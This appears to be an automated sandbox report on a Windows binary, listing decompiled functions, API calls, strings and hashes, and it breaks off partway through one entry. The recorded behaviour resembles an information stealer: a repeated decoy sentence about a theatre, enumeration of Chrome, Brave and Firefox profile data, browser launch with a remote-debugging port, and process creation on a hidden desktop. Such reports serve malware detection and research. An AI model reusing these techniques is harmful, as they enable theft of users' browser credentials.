lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction ID: 994efd3a0b10ceab7f5143b43c992d696de16e9dedea517f3aaaefbefb2e1973
Opcode Fuzzy Hash: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction Fuzzy Hash: F0413F79740624ABD7109FE5FC4DADCBF70AB4C702BA08061F90A99190C7F993859B7D

Function 0040BE40 Relevance: 67.2, APIs: 29, Strings: 9, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
Google Chrome, xrefs: 0040C6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2
Preferences, xrefs: 0040C104
Brave, xrefs: 0040C0E8
P2#v, xrefs: 0040C8A9
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534
1#v, xrefs: 0040BEC5
\Brave\Preferences, xrefs: 0040C1C1

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-16310280
Opcode ID: 6e2b7bfc631915bc8e419dc84f006afc74060cdd4d4e3bee0d7c59704784dd11
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: 6e2b7bfc631915bc8e419dc84f006afc74060cdd4d4e3bee0d7c59704784dd11
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 00414B60 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

%s\%s, xrefs: 00414BF4
%s\%s, xrefs: 00414C4B
-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE
%s\*, xrefs: 00414B70
P2#v, xrefs: 00414DCD
1#v, xrefs: 00414B93

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA$P2#v$1#v
API String ID: 180737720-770260539
Opcode ID: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 6CA735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAFF688,00001000), ref: 6CA735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA7363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA7369F
__aulldiv.LIBCMT ref: 6CA736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA73773
EnterCriticalSection.KERNEL32(6CAFF688), ref: 6CA7377E
LeaveCriticalSection.KERNEL32(6CAFF688), ref: 6CA737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA737C4
EnterCriticalSection.KERNEL32(6CAFF688), ref: 6CA737CB
LeaveCriticalSection.KERNEL32(6CAFF688), ref: 6CA73801
__aulldiv.LIBCMT ref: 6CA73883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA73902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA73918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA7394C

Strings

GenuntelineI, xrefs: 6CA73639
QPC, xrefs: 6CA738FC
MOZ_TIMESTAMP_MODE, xrefs: 6CA735DB
AuthcAMDenti, xrefs: 6CA73946
GTC, xrefs: 6CA73912

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 43c4fdbccec6adbe3a7e7561a241b1d30a78363549510077ad6c4bab8817fde3
Instruction ID: 680974df1c41122d537fc18011720eba5ecdaad50b88617984b8a8c7a1071bfa
Opcode Fuzzy Hash: 43c4fdbccec6adbe3a7e7561a241b1d30a78363549510077ad6c4bab8817fde3
Instruction Fuzzy Hash: 9DB1E375B053429FDB0CCF28E84465ABBF6BB89704F05C92DE5A9D3750EB309846CB91

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02EE2290,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 004140F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

P2#v, xrefs: 004142BC
%s\%s, xrefs: 00414107
1#v, xrefs: 0041412A

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 0040F7B0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

prefs.js, xrefs: 0040F912
P2#v, xrefs: 0040FBB1
1#v, xrefs: 0040F81E

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 0040DB80 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

